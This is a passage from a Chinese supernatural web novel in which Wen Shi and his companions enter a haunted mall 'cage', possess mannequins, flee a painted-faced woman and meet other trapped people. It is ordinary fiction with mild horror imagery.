结果刚扯了一下,就感觉有东西“啪嗒”一下落在他后颈上,应该是水滴,冰凉彻骨,顺着骨骼线滑进衣服里。
他下意识回头,背后是长得看不到头的路,一片死寂。
啪嗒——
又一滴水落下来,洇进发梢。
闻时乍然反应过来,他还打着伞,怎么可能有水滴穿伞而过???
他抬起头——
一张白森森的人脸贴缩在伞里,湿漉漉的头发垂挂下来,水滴顺着流淌下来。
闻时:“……”
他默然片刻,一手握着金属伞骨,“啪”地把伞收了!
人脸被夹在伞中,发出一声闷闷的惊呼,然后连脸带伞……被闻时扔了。
托这些东西的福,他到达望泉万古城的时候,整个人都湿淋淋的,面无表情往门柱边一杵,比鬼吓人。
夏樵就是被他吓哭的。
“你蹲这干嘛?”闻时踢了那不争气的玩意儿一下。
夏樵吸了吸鼻子,从柱子旁边站起来:“这里视角好,能看到来人,而且这根门柱大,背贴着它有安全感。”
但谁他妈能想到他闻哥不走寻常路,从背后绕过来也不吭声,就那么站在旁边滴水。
夏樵想了想又补充道:“蹲着也比站着有安全感。”
闻时:“你站跟蹲区别也不大。”
夏樵:“???”
“这算人身攻击了吧哥?”夏樵说。
闻时把湿漉漉的头发往后撸,拎着T恤领口抖了抖水:“谢问呢?”
“没看到。”夏樵惊魂未定,“我本来跟着你们走的嘛,走着走着就发现你俩怪怪的,伸头一看我草,脸都不对!我当然撒腿就跑,没顾得上看路上有没有其他人。”
他上次跟着闻时、谢问入了一次笼,知道笼心一般是建筑物。这次便没有乱跑,看到这座商场就直奔而来,目标明确地在这蹲守。
“谢……”夏樵每次直呼谢问名字都觉得很怵,没礼貌。但叫谢哥吧,又有点奇怪。因为谢问虽然温和,却给他一种莫名的距离感。
他斟酌半晌,才找到一个不那么烫嘴的称呼:“那个,谢老板如果也入笼了,应该知道要来这的吧?”
他刚想说对方有可能先进笼心了,要不咱们进去找找?
就见闻时不太耐烦地拎着T恤前襟,避免潮湿的布料贴在皮肤上,说:“等着吧。”
你不是不耐烦等么???
夏樵在心里说。
这座商场设计得像个卷起的纸筒,微微倾斜,线条挺流畅的。如果窗明几净,应该还算漂亮。
但它很久没被清扫,墙面有一道道泛黄的污渍,玻璃也灰蒙蒙的,根本看不清里面什么样。
站在外面,只能看到几个商铺亮着零星的白炽灯,冷清得像个废弃大楼。
不知道是笼主对它的印象,还是它本就这样。
“闻哥,你说这是谁的笼?”夏樵喃喃道,“会是那个司机吗?早知道不接那把伞了。”
闻时却说:“我故意接的。”
夏樵:“?”
他正想问呢,不远处传来脚步声。两人转头一看,谢问姗姗来迟。
他的伞好好握在手里,衣服干干净净,就连裤脚都没什么湿痕。可见既没有惊吓,也没有跑动。
“你们俩这是怎么了?就地洗了个澡么?”谢问远远看到他们,哭笑不得地问了一句。
“你没碰到东西?”闻时皱眉问。
“没有。”谢问站在廊下收伞,“还好没有,我这体质可经不起洗露天澡。”
这在闻时听来就很有挑衅的意思了。
他从鼻腔里哼了一声,心说菜鸡倒是运气好。他默默从口袋里掏出棉线和打火机,转身去花台那扒拉了几下。
谢问走过来:“这次进笼心你来?”
“不然呢?”闻时语气不爽,挑了三根树枝,拿棉线简单绕了一下,“再给你一次机会耍人玩?”
夏樵凑过来说:“我不想再进洋娃娃了,哥。”
闻时:“嗯。”
傻比才想。
自己的水平自己最清楚。闻时饿着的时候没法说什么。现在吃饱了,虽然远比不上有灵相的时候,但放在普通判官里也相当可以了。
最次……也能把谢问这种半桶水吊起来打!
闻时手指已经动了起来。
夏樵看着他弹开打火机,火星亮起的一瞬间,忽然想起一件事:“对了闻哥。”
“说。”闻时点了树枝。
“我那天……就是从爷爷笼里出来第二天。”夏樵盯着那簇火苗说,“不知道是不是眼花,我看到名谱图上——”
他想说“你的名字好像亮了一下”,但是碍于谢问也在,他咕嘟把这半句咽下去,只提了后面:“名谱图上咱们家那条线好像往上挪了一点点。”
闻时眼也没抬。他把树枝拢进手中,手指绕上了棉线,顺口道:“没眼花,因为刚解了笼。”
夏樵“哦”了一声,忽然有点激动:
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“那闻哥,你如果多解一点笼,咱们这条线是不是还能再往上爬一爬,排名是不是就高了?”
闻时:“……”
能,真的能。
但这他妈就有点惊悚了。
以前沈桥活着,他随便进笼。这脉排行往上蹦几蹦都没问题,反正都算沈桥脑袋上。
现在沈桥不在了,夏樵这个小傀还没名字。在别家眼中,名谱图上这一脉就算彻底绝了。
一条全员已亡故的线,拖着一排朱笔写的死人名轰轰烈烈往上爬,这是吓唬谁呢?
闻时刚反应过来,当即手一抖。
绕着烟雾的树枝在棉线缠绑中咯啦一碰,带着三个人一起进了笼心。
眼前黑下来的瞬间,闻时心想要完。
等他再睁开眼,就已经在万古城商场里面了。
这栋楼是圆筒形的结构,店铺一个个相挨着,连成一圈,显得略有些拥挤。
很多店面关着卷轴门,门外封着冷冰冰的金属网。也不知道是打烊了,还是干脆不开了。
在那些关着的店铺中,零星夹杂着几家还在营业的。
商场的大灯没开,那些营业的店铺便是仅有的光源,白炽灯照着店门左右一圈,勉强能照应隔壁。
闻时就在这样的“隔壁”里。
他借着光源,第一件事就是确认自己的视线高度,然后他就松了一口气——还挺高的,肯定不是洋娃娃。
但很快,他又高兴不起来了。因为他面前是一块玻璃橱窗,而他试着动了一下,脖子、手脚都有点僵硬,不是很灵活。
他努力转了一下头,看到了自己灰色的手。
有什么玩意儿是站在玻璃窗面前,有手有脚、僵硬还发灰的?
答:人体模特。
优点是这模特下半身好歹穿了裤子,还穿了运动鞋。缺点是他上身只套了个外套,拉链没拉,敞胸露怀。
比缺点更缺一点的是……他这身体是可装卸的,脑袋、胳膊、腿都有缝隙,尤其脑袋,卡得不是很紧。
以至于闻时现在不太敢动,别人看到会叫,他头会掉。
这个附身物有点糟糕。
闻时心情瞬间变差,但这次是他自己搞出来的,也不能骂谁王八蛋。
他僵着脖子适应了一会儿,终于趁着暗色,艰难地走下了橱窗。
这是一家卖运动服饰的店,除了橱窗里,其他地方也摆着模特。正常情况下,他在这里,谢问和夏樵应该也在这附近,没准也是模特。
这么一想,他又觉得自己虽然手抖了一下,但也没出大错。
店里光线很暗,到处是衣服。堆叠的还好,挂着的就有些诡异,余光扫过去,总给人一种它们在动的错觉。
就好像有什么人正无声无息地看着你。
店门挂着锁,闻时在店里找了一圈,在收银台边找到了剪刀和卷线。他正打算把线摸出来……
突然,一只手从旁边伸过来,抓住了他的胳膊,接着谢问的嗓音在黑暗里低低沉沉响起来:“看你半天了,就等你过来呢。你把我塞进这么个东西里,是打算之后搂着我走呢,还是背着我走?”
闻时一惊。
“什么东西?你做梦呢。”他下意识反驳完,转头一看。
就见一个跟他大体相似的模特正默默看着他,同样脖子、胳膊可拆卸,同样没有五官只有脸。
唯一的区别是……这模特是搁在桌上的,只有上半截。
问:比附身一个人体模特更糟糕的是什么?
答:半个人体模特。
18. 有缘
这就是报应。
闻时心里这么说,嘴上却解释得很冷静:“我不是故意的。”
“小——”谢问可能气笑了,卡了一下壳,“你说这话亏心么?”
“不亏。”闻时话虽不多,噎人的本事却不小,“随你信不信。”
“……”
半身模特没有五官的脸就这么直挺挺地冲着他。
谁还没个鹅蛋脸。
闻时犟着,跟他静静对峙。
明明是很诡异的一幕,不知戳到谢老板哪根神经,他嗓子里模糊笑了一声,转开脸低声道:“不上规矩。”
闻时没听清。
谢问又转回来,指了指挂着锁的玻璃门,慢声道,“行,我脾气好,就当是你不小心吧。那你出出主意,我长成这样怎么出这个门?”
闻时蹦出一个字:“爬。”
谢问:“……”
这回他是真笑了,笑完店里便陷入一片死寂。
死了有好半天吧,闻时终于伸了一只手过去,伸得不情不愿,因为觉得手拉手有点娘:“算了,我拽你。”
说好听叫拽,实际上就是拖行。、
谢问理所当然没有动静。
闻时也不伺候了,转身就朝门口走。
模特的手指太硬,跟没手指的洋娃娃半斤八两。他费了一番功夫才把棉线控住,沿着玻璃门缝伸出去,开门外那把钢锁。
锁头细细索索响了一会儿,终于当啷一下松成两半,掉在店门口。下一秒,防盗器就响了起来,店里闪起了红蓝相间的暗光。
这声音来得突然又刺耳,在空荡荡的商场里回响。
对面有家店开着,卷轴门放了一半。一个老太太坐在门口的板凳上,戴着老式的假发髻,穿着黑衣黑裤,脸却白得吓人。
她听到防盗声,先是幽幽朝这边看了一眼,然后站起身。
闻时低声蹦出一句国骂,当即侧身抬手一动不动,在门边假装摆件。
他以为那个老太太会过来,没想到她只是关了白炽灯,小步进了店里。她走路的方式很奇怪,比起挪更像拖,两脚一起拖……
就像有根无形的绳子吊着她往前,发出沙——沙——的脚步声。
她进了店便转过身来,摸出一根铁钩,直挺挺地勾着卷轴门往下拽,没过几秒,她就把自己关进了店里。
这是什么走向?
闻时杵在门边,有点疑惑。
很快,隔壁那家店也有了动静。店主是个面容浮肿的中年男人,有乌青的黑眼圈,衬得脸色鬼气森森。
他走到栏杆边,往楼下看了一眼,又慢吞吞地转过来。眼珠直勾勾地盯着手里的饭盒,咕哝着:“又来找人了,她又来找人了。不能被抓到,不能……我还没吃饭,还没吃饭……”
从闻时的角度,看不清他饭盒里装了些什么东西。
他把饭盒掖进外套里,闷头进了隔壁。
下一刻,卷轴门拉动的声音又响起来,浮肿男人也关上了店门。
零星的店铺陆陆续续关上门,商场越来越暗。
闻时虽然还没摸清具体什么事,但也能猜到,他们在躲某个人。
会是笼主吗?
如果真是笼主,那这么早跟对方撞上不是好事。
店里的防盗器还在响。
闻时索性踢开玻璃门准备走。
他步子都迈出去了,又闷不吭声绕回店里,把谢问那个半身模特抱上了。
对方似乎料定了他会回头,非常欠地笑了一声。
笑个屁。
闻时心想。
“算你有良心。”谢问说。
闻时刚走两步,听见他的声音近到几乎贴着脸,如果是真人,恐怕呼吸都能扫到眼尾。
他这才感觉面对面抱着的姿势有点怪……就算是假的也很怪。
闻时想了想,停住脚,当场把谢问翻了个面,让对方脸冲前面,后脑勺对着他。
这样走了几步之后,他又刹住了脚,感觉依然不行。
这姿势显得他智商有问题,还挡视线。
于是他忍着脾气又换一次,把那半截模特背到了身后。
他其实有折腾的意思在里面,是个人都看得出来。但是谢问却一句话没说,整个过程安静得很反常,不知道是在看戏,还是想到什么事走神了。
这种感觉有点诡异,闻时差点以为他人没了,走出店门的时候忍不住说:“你在不在?”
背后的人终于动了一下。
他闷闷咳了两声,略带沙哑地应了一句:“嗯。你又想干什么了?”
他嗓音实在很低,又近在耳边。
闻时脚步顿了一下,微微朝旁边偏了一下头。
又过了片刻,他才不咸不淡地交代道:“你最好时不时出点声。”
谢问:“为什么?你这脾气,我要说多了话,不是又该让我闭嘴了么?”
闻时:“……”
谢问:“我看你现在就很想说这句。”
闻时:“……”
“你还是爬吧。”闻时说。
“那不行。”谢问笑起来,“我上来了哪那么容易下去。现在是不是觉得洋娃娃还可以了?”
“……”
闻时懒得理他,沿着空荡荡的回廊往前走。
回廊的灯很稀疏,中间夹着几个“安全通道”的提示牌,惨白色的灯光便泛着绿。
那两处安全通道的门敞着,楼梯间里没有光亮,像黑洞洞的眼睛,一边一个。
闻时探出栏杆,往下看了一眼。
他们在三楼,楼下两层的店也关完了,空寂冷清,别说人影,鬼影都看不见。
那么那些店主都在躲谁呢?
忽然,楼下某处响起了“嗡嗡”的声音,像什么东西悄无声息启动了。
闻时找寻一番,发现一楼通往二楼的扶梯慢慢滚了起来。
谢问附在他耳边轻声说:“有东西上来了。”
闻时紧盯着那处,终于看见扶梯慢慢滚上来一个人。
那应该是个女人,头发及肩,中等身材,穿着深红色的薄毛衣,下面是黑色的裤子。可能是灯光原因,照得她露出来的脖颈和手臂都泛着青。
闻时眼力好,看见她一只手搭在扶梯上,可能是戴着戒指的原因,勒得指节有点浮肿,显得指根粗,指尖却很尖细。
扶梯慢慢滚到头,她迈步走下来,然后转身上了二楼到三楼的滚梯。
这么一转,她从面朝这边,变成了背朝这边。
闻时看着她的后脑勺和肩背,低低“哦”了一声。
“怎么了?”谢问低声说。
“我见过她。”闻时说。
“什么时候?”
“去你店里的时候。”
应该是那位圆脸女司机,至少背影是像的。闻时心想。
他认出人来的瞬间,那个深红衣服的女人似乎感觉到了有人在看她,忽然转身朝这边望过来。
闻时已经做好她没有脸的准备了,没想到她居然有。
只是那脸非常奇怪,像是什么人用笔画上去的,画技有些粗拙,眉毛极深,下面的眼睛没有白仁,只有两个大大的黑团,嘴唇又红得惊人。
那双眼睛好像并不会左右移动,就那么直勾勾地看着前方——
正冲着闻时。
女人忽然动了起来,抬脚顺着滚梯往上走,步子越来越快。
闻时半点没耽搁,转头就走!
模特腿僵,跑不起来。
身后那个女人应该到了三楼,脚步声几乎跟闻时同步,像一道回声,紧紧追在后面。
“走扶梯下楼。”谢问说。
闻时朝离他最近的扶梯看了一眼,绷着嗓子道:“这边没开!”
谢问:“……”
他默然两秒,说:“你上去,它就开了。”
闻时:“???”
他心里想着“万一没开你就完了”,但还是抬脚上了往二楼去的扶梯。
果然,他人一站上去,扶梯慢慢滚动起来。在它启动的过程里,女人离他们的距离近了一些
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。
“帮我看一眼,她是不是也不能跑。”闻时说。
背上的谢问动了一下,片刻后,他又低下头来说:“腿看上去挺正常的,不像咱们这种假肢,但她确实没跑。”
结果这话刚说完,女人的脚步声就变快了。
闻时在心里骂了一句。
二楼扶梯附近有些临时支出来的店铺、摊位。闻时借着这些东西,打了几个绕,朝后面看了一眼。
刚刚还有十几米的女人,此刻距离他不到三步!
两团黑墨似的眼睛,近距离看更让人毛骨悚然。
闻时手指上还绕着开门用的细线。其实刚进笼就攻击笼主并不太好,但他还是背手朝身后甩了一下。
拐弯处有个垃圾桶,他想甩过去当阻碍。结果落地却听见了“叮铃桄榔”好几声响。
他忍不住回头看了一眼,就见垃圾桶连带着临时店铺的简易柜台一起倒在地上,绊得女人踉跄了几下。
“柜台怎么倒了?”闻时嘀咕了一句。
“没注意,好像是垃圾桶撞的。”谢问轻轻拍了一下他的肩,说:“别开小差,快跑。”
闻时:“……”
要不是他心好,这种墩着说话不腰疼的王八蛋就该被扔去打鬼。
谢问一催,闻时没注意路线,居然又上了往三楼去的扶梯。就像被女人撵着兜了个大圈,又回到原点……
也不知道她是故意的还是无意的。
闻时四下看了一眼,正在想办法甩脱。忽然听见前面有人小声叫了一句:“来这边!”
闻时下意识以为那是夏樵。
他循着声音发现左边一家店铺的卷轴门开了一半,情急之下,想都没想便俯身钻了进去。
女人的脚步紧随其后。
下一秒,卷轴门“哗”地一声响,被人拉拽到底,关了起来。
女人似乎不高兴,在门外重重拍了几下。
过了几分钟,她拖沓的脚步终于离开,似乎去了旁边的店铺。
闻时这才站直身体,转头看了一眼。
他本以为会看见夏樵附身的模特,却发现七八个陌生男女或蹲或站地缩在店铺最里面,瞪着惊恐又无辜的眼睛,一眨不眨地看着他。
跟见鬼没两样。
“什么情况?”闻时下意识说出来了。
“这个笼有点麻烦,套了很多人进来,他们在这困了好多天了。”有人解释道。
这声音有点耳熟。
闻时转头看过去,意识到说话的人是张碧灵。
她身边还蹲着一个十几岁的少年,鼻子不是鼻子,眼睛不是眼睛的睨了闻时一眼。
是她那个说过尘不到“不得好死”的熊儿子。
“你怎么在这里?”闻时问道,但下一秒他就想起来了,“伞是你拿的?”
张碧灵有点淡淡的尴尬,她苦笑一下,拍了拍熊儿子的头,说:“我儿子前几天误闯进来了,所以……”
怪不得她之前说临时有事,没法去送沈桥。
闻时点了点头,又问:“我刚刚是不是听到了夏樵的声音?”
“啊对。”张碧灵说,“刚刚是他叫的你,我怕别人叫了,你反而警惕不进来。”
“他人呢?”闻时看了一圈。
“这呢哥。”夏樵的声音毫无生气,一听就受过摧残。
闻时顺着声音转过脸……
看到了墙边那一排玩意儿。
怎么说呢,大差不差,这也是种人体模特。就是牛仔裤店里专用的那种,只有腿,还是不能动的那种。
毕竟这要是能动,就直接劈着裆了。
夏樵就那么叉着腿杵在那,哀怨地问:“闻哥,谢老板呢”
闻时:“……我背上。”
夏樵惊呆了。
谢问在他背上抖,声音闷在胸腔里,笑了有一会儿了。
他低下头,用只有闻时能听见的声音说:“好技术,失传可惜了,有空也教教我。”
闻时:“……”
你死不死?
19. 遗照
“你俩可以凑个整,他是不是进来的时候少算一个人啊。”一个粗嘎嘎的公鸭嗓突然插话。
闻时一看,是张碧灵那熊儿子,沈桥的吊唁客单上有他的名字:周煦。
名是好名,人有点找抽。
“问你了吗你就插嘴?”张碧灵推他一下,连忙对闻时打圆场:“附身人形模特就是容易出现这种状况,常事,见怪不怪了。”
周煦嗤之以鼻:“谁说的?我小姨就不这样。”
张碧灵瞪着他:“你小姨、你小姨,你天天就记着拿小姨吹牛皮。张岚几岁就开始往笼里冲了,能一样吗?”
闻时很少关注别家,名谱图上的活人也不认识几个。他默默听了一会儿,问背上的人:“张岚是谁?”
谢问还没说话呢,周煦先惊了,他耳朵倒是尖:“你不知道?”
闻时:“我应该知道?”
周煦:“名谱图最顶上那个!你干这个你居然不认识她?”
我认识你小姨家的祖宗。
不是骂人,真认识。
闻时心说。
“你差不多行了!”张碧灵被儿子弄得尴尬万分,把他摁到身后,对闻时说:“他小时候被张岚……就是他小姨,带去本家住过几年,跟她挺亲的,所以张口闭口都是她。你别跟他一般见识。”
闻时:“嗯。”
张碧灵又说:“我听小夏说,你们是第二次入笼?才第二次,做到这样已经很不错了,慢慢来,沈老爷子后继有人。”
闻时朝夏樵瞥了一眼。
看来这傻子还知道藏话,没把老底交代出去。
张碧灵估计把他当成沈桥收的另一个徒弟了,比夏樵这个什么都不会的略好一点,但也好不到哪里去。
毕竟名谱图上沈桥这脉并没有他这个新徒弟的名字,俨然也是个不成器的半吊子。
不过张碧灵人很不错,对着半吊子也客客气气的,没什么架子。
“对了哥。”夏樵又委委屈屈开了口。
闻时:“说。”
夏樵:“我得在腿模里呆多久,为什么张阿姨他们不用附身物?”
闻时沉吟几秒。
张碧灵却开口了:“哎!刚才匆匆忙忙的,忘记说了。咱们找附身物进笼心,是怕生人气息突然闯进来,惊动笼主,还没弄清楚呢就被追着打,得不偿失。”
“不过这个笼不一样,这里已经有很多生人了,该惊动的早惊动了。附不附身区别不大。”张碧灵指着角落里的那群人,“我比你们早进来一步,附在镜子上了,把他们吓得不轻。我怕给他们吓出好歹来,就从镜子里脱身了。”
夏樵又活了:“所以我们也能出来吗?”
张碧灵:“可以的。不过你们要是觉得有附身物更安全,继续呆着也没问题。”
夏樵:“不了不了。”
她解释得很详细,生怕这几个年轻人不懂。
其实闻时比谁都懂。
他一进来就知道可以脱身了,但他没提,他想让谢问在半截模特里再憋一会儿,毕竟他上次在洋娃娃里憋了好几天。
现在张碧灵这么说,他只能放谢问一马。
“沈老爷子没跟你们提过吗?”张碧灵问道。
闻时面无表情骗人:“没有,我刚知道。”
他从模特里走出来,一转身,就看见同样脱身而出的谢问挑了一下眉,仿佛听见了什么鬼话。
闻时狐疑地看着他。
谢问客客气气地说:“没什么,我也刚知道。”
***
他们有了人样,墙角里缩着的几人脸色便好看许多,不再那么惊恐了。
“你们都什么时候进来的?”闻时问他们。
穿格子衬衫的男生说:“有好久了。”
其他人跟着点头:“好长时间了。”
“记不清,我快疯了。”
……
除了张碧灵的儿子周煦能说出具体数字,其他人都浑浑噩噩的,看样子被吓得不清。
“他们应该跟我前后脚。”周煦说,“我进来的时候,他们还没这么昏呢。”
夏樵问:“你怎么进来的?”
“马路上走着走着就进了啊!”周煦一脸你在说废话的表情。
张碧灵替他说:“我问了,也是坐了那个车,拿了伞,跟传言差不多。”
“你听过那个传言?”闻时问。
张碧灵点了点头,冲谢问说:“听你店里的大召、小召说过。”
“那俩丫头喜欢到处串门,听到什么就拿来吓唬人。”谢问说,“最近周边的人都让她俩吓唬得雨天不敢打车了。”
闻时:“传言说没说司机是谁,出过什么事?”
谢问想了想:“听说是车祸过世了。”
“还有呢?”
“没了。”
“这信息量有点少。”张碧灵拍了拍自己儿子,说:“煦煦,你在这碰到过哪些事?”
周煦脸有点青,让开她的手,粗声粗气地说:“别叫这个,恶不恶心啊,我都多大了。”
张碧灵:“问你话呢。”
周煦:“还能碰到什么?不就是那个女的么。我来的时候,那女的刚好要上楼,旁边有个店里的婆婆在啃着鸡爪还是什么呢。突然放下爪子就跟我说,来抓人了,来抓人了。然后我就跑了,跑到三楼刚好看到他们,就钻进来了,之后就老实在这呆着。除了上厕所和摸点吃的,就没出去过。”
这都是些什么废话。
张碧灵有点头疼,感觉自己儿子根本指望不上,叹了口气便说:“那先看看吧。”
倒是闻时抓到了一点:“店里的婆婆跟你说话?”
周煦:“对啊。”
“你确定是跟你说的?”
“不然呢!”
闻时有点纳闷。
一般来说,笼里的人不太会跟生人正常说话。他们都相当于笼主意识的延伸,看到生人,第一反应多数是攻击。
这个笼倒是奇怪。
闻时想事情的时候,店铺里刚好没人说话,气氛陡然静下来。外面拍门声还在继续,好像就在不远处。
卷轴门哗哗的抖动声在商场里回荡,突兀刺耳。
过了好一会儿,扶梯嗡嗡的滚动声才响起来。
“走了吗?”有人轻声问。
“应该走了。”
角落里的人都舒了一口气,接着又发起呆来。
那个穿格子衬衫的男生盯着闻时他们,忽然说:“你们能带我们出去么?”
张碧灵是个稳妥保守的人,她说:“我尽量。”
但这种环境下,“尽量”这个词,远达不到安抚人的效果。于是那个男生“哦”了一声,也沉默着发起呆来,像个杯弓蛇影的游魂。
他们每个人脸色都很差,眼下乌青一片,也不知道进来之后合没合过眼。
格子衬衫的女朋友忽然小声说:“我想去卫生间了。”
店内顿时陷入死寂。
好像这已经成了一种条件反射,只要有人说这句话,大家都会紧绷起来。
“走,我带你去。”张碧灵说。
她一开口,另外三个人也跟着说:“那我也去吧,一起去。”
他们把卷轴门往上推了一半,一个紧挨着一个钻了出去。
“你们先在这边呆一会儿吧,别乱跑。”张碧灵说话带了点长辈的口气。
她这句嘱咐把闻时、夏樵甚至谢问一起包了进去,毕竟就她所知,这三人两个没名没姓,一个被除了名,其实都顶不了大用。
结果她刚走,闻时就从卷轴门里钻了出去。
“你干嘛去?”周煦叫住他。
闻时不是什么温和的人,对熊孩子更是不感冒,所以压根没答话。
“喂!”周煦又叫了他一声。
闻时依然跟聋了一样。
直到谢问跟着钻出
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来,他才拧着眉说:“你出来干什么?”
“这门只有你能出么?霸不霸道。”谢问指指昏暗的回廊:“我去那几家店看看。”
说完,他也不等谁,径自往那边走。
闻时:“?”
他刚要抬脚,周煦又扯着公鸭嗓嘎嘎叫道:“不是让你们别乱跑吗?!”
闻时扶着卷轴门的下沿,弯腰看向他:“谁让的?”
他总是冷冷的,这么低头看过来还挺有压迫感。周煦哽了一下,叫道:“我妈啊!”
“又不是我妈。”闻时说完就走了。
周煦被崩了一脸冰渣子,既没面子又有点气急。他“靠”了一声,紧跟着也钻出去了,那气势汹汹的模样,像一只追着人啄的鹅。
“哎你跟着我哥干嘛?”夏樵知道自己胆子小,本打算老实在这呆一会儿,不出去添乱。
但他一看,中二病在尾随他闻哥,当即叫了一声也出去了。
于是张女士带队从卫生间回来,发现店铺里只剩下两个中年男子缩在一块儿抱团取暖,剩下的全跑了。
张碧灵就觉得这笼要完。
***
偌大的商场,依然只有零星几家店亮着青白色的灯。
闻时沿着回廊走过去,离得最近的那家店铺敞着门。
他刚进笼心的时候,匆忙扫过一眼,对这家店有点印象,因为店里好像全是相框,店主又很胖,看着能有小二百斤,关卷轴门的时候弯腰都很艰难。
可现在,那个大块头店主却没了踪影。
门前有一滩不知哪里来的痕迹,就像有人之前在这里久站过,湿哒哒地滴着水。
闻时把卷轴门往上推了推,钻进店里。
他这才发现,整个店铺挂着的相框都是黑色的,大大小小,却都是同一个人的照片。
或者不能叫照片,而是画——
深浓的眉毛,墨团般黑洞洞的眼睛,以及平直的唇。
正是那个到处追他们的女人的脸。
不过相框里的图没有颜色,全是黑白的,就像满墙的遗照。
这些遗照就这么看着店铺中央的闻时。
忽然!卷轴门发出咔咔声响。
闻时转头看去,就见一个阴沉沉的老太太站在门外,两手抓着卷轴门用力往下拉。
她又瘦又老,力气却极大,就听“哗”的一声!
……
没拉动。
闻时站在店里,垂着的手指上牵着白棉线,线的另一头拴在外面的锁扣上,绷起的长线托着卷轴门,愣是让人一寸都没法往下拽。
老太太抻着两条胳膊:“……”
闻时冷着脸问:“你干嘛?”
老太太发白的眼珠盯着他,细细的嗓音说:“这家店不开了。”
闻时:“为什么?”
老太太抿着唇。
闻时:“店主呢?”
老太太依然没吭声。
远处不知哪里传来一点响动,老太太回头往对面店铺的方向看了一眼,又转回来。
她咂了咂嘴,老迈的声音又细又飘:“不开了,不开了,我要去吃饭了,该吃饭了。”
说着,她又扒着门往下使了点劲。
闻时正在想“胖子店主人没了”和“要去吃饭了”之间的逻辑,就见一个个子很高的人走了过来。
他在老太太身后停了步,瘦白修长的手指抓住了对方扒门的胳膊,就像拿放东西一样,把老太太的手拿了下来。
老太太暗自较劲,脸都憋绿了,依然被安排得妥妥当当。
“老远就看见你了,这么点高的个子,扒着门累不累,放一会儿。”卷轴门被那只手往上抬了一截,露出谢问的脸。
可能是店内灯光太冷的缘故,照在他脸上,显得病气更重了。
他看着店里的闻时,又扫过那几根绷着的长线,淡声说:“谁教你的,在笼里一个人往空房子里钻?”
20. 矛盾
没人教。
闻时话都到嘴边了,却没有开口,因为他感觉谢问不太高兴。
他下意识朝门外看了一眼——
卷轴门半挡着,视野范围有限,除了斜对面商店破败晦暗的门,再没有其他,自然无法知道谢问来这之前碰到过什么。
闻时皱着眉纳闷道:“谁招惹你了么?”
谢问有一瞬间的怔愣。
他似乎没料到闻时会是这种反应,扶着卷轴门的动作顿了一下。
店里的白炽灯太过苍白,照得他眼珠深黑,却蒙着一层薄薄的光。他在光里沉默站着,良久才乍然回神。
他偏开头笑叹了一口气,可能太轻了,笑意未及眼底,转瞬就没了痕迹。
“没谁。”谢问放下抬门的手,站直了身体,“刚才去的那家店香薰太难闻,刚好是我最不喜欢的那种。”
他侧身让开路,又说:“看完了没?看完了就出来吧,别妨碍老人家关门。”
卷轴门外拴着的白棉线松落在地,闻时看了他一会儿,这才把线收回来。
他一边往手指上缠绕,一边往门外走。
老太太发白的眼珠一眨不眨地盯着。闻时前脚刚出门,她后脚就抓起一只生锈的铁钩,把卷帘门钩下来。
“为什么关门?”谢问说。
老太太动作顿住。她下意识朝身后某处扫了一眼,用梦呓似的嗓音说:“不能开,不能开。他不卖好东西,不能开。”
说完,她抓着铁钩,步履拖沓地走了。
每走一步,铁钩都会杵在地上,发出“当”地一声响。声音又尖又脆,像凿在脑子上。
不远处有人轻呼一声。
闻时回过头,看到周煦和夏樵一前一后杵在那。
周煦似乎特别受不了这种金属凿地的声音,搓着鸡皮疙瘩在那“嘶哈”跳脚。夏樵就在旁边,盯贼一样盯着他。
“你们过来干什么?”闻时问。
“这路就你能走,我不行?”周煦像个扑着翅膀的鹅,当场就啄回来。
夏樵告状道:“哥,他非要跟着你,我就看看他想干嘛。”
周煦:“谁跟着他了?我在里面闷久了,出来透透气,有问题吗?”
夏樵惊呆了:“你在这种地方还要透气啊?那你早上起来晨跑吗?”
周煦:“我——”
周煦:“……操。”
可能是因为周煦年纪略小一点,夏樵在他面前气势还行,压制谈不上,但能五五开。
闻时看他们在那扎着毛互啄,目光朝远处抬了一下。
他们身后,一边是对面横穿过来的直廊,一边是弧形的回廊。中间那一圈都是黑漆漆的,没有店铺开门。
闻时看着那条晦暗的廊线,忽然反应过来,谢问刚刚就是从那边转过来的……哪来的香薰难闻的店铺?
他终于意识到,谢问刚才的不高兴,可能真的只是因为他一个人往半封闭的空间里钻。
这就让人有些意外了,因为他们其实还没熟到那个份上。
***
老太太拄着尖钩走远了,谢问不远不近地跟着她。
闻时看着他的背影,皱了一下眉,大步流星赶过去。
“干嘛这么急?”谢问朝后面黑洞洞长廊看了一眼,“你不会怕黑吧?”
滚。
闻时心说。
他抿着唇没吭声,只是放缓脚步,同谢问一起跟在老太太身后。
走了一会儿,他才开口道:“我进那家店的时候,就已经把棉线勾在门外了。”
他依然蹙着眉心,因为觉得向人解释这种事有点……离奇。
笼内的封闭空间很危险,人多还好,如果只有一个人,很可能会让自己长久地被困其中。这点他当然知道。所以他早早留了后手,并不是冒冒失失往里闯。
谢问“哦”了一声。
他神色与平时无异,好像已经把之前的不高兴抛诸脑后。
他没再多说什么,闻时自然也不会补充。两人沉默着往前走,带着一种微妙的僵持感。
周煦和夏樵没什么脑子,但敏感。他们感觉到了莫名紧绷的气氛,没敢跟得太近,就那么隔着五六米缀在后面。
那两个人不说话,他们也莫名不敢出声。
整条回廊都陷在沉寂中,只有尖钩杵地的声音缓慢、拖沓地响着。
过了好一会儿,闻时忽然开口,嗓音在夜色下显得低而清淡。
他说:“我是不是以前认识你?”
谢问步子一顿,半垂的眸子极轻地抬了一下。
“为什么这么说?”他转脸看过来。
“没什么。”闻时答道,“突然想到就问了。”
谢问点点头。
他目光落在远处的某个虚空点上,过了片刻,才笑了一下对闻时说:“不认识,不然多少会留点印象吧?”
这话其实不无道理,除了最早时候的一些事、一些人闻时想不起来,别的他都清清楚楚。
而他忘记的那些人……早就不在了。
旁边忽然响起笨重的拖拽声,闻时转头看过去。
老太太来到了自家店门口,从店里拖出一个厚重的皮椅来。
那皮椅长得奇怪,乍一看像办公用的,底座却是个厚疙瘩,连个滚轮都没有,拽都拽不动。
它在地上留下锈蚀的拖痕,棕红色,慢慢渗出一股难闻的气味。
那味道并不浓,若有似无,却让人很不舒服,就连闻时绷住了脸。
后面跟过来的“周大小姐”更是直接“呕”了一声,退开好几步,步步都踩在夏樵脚上。踩得夏樵脸都绿了,一把推开他。
“什么玩意儿啊这是。”周煦骂骂咧咧。
闻时头也没回,低声道:“血。”
泡过又沤了很久的血。
周煦:“呕——”
看着最虚弱矜贵的谢问,居然是最适应的那个。他脸色一点没变,也没屏住呼吸,好像对这种场面司空见惯了。
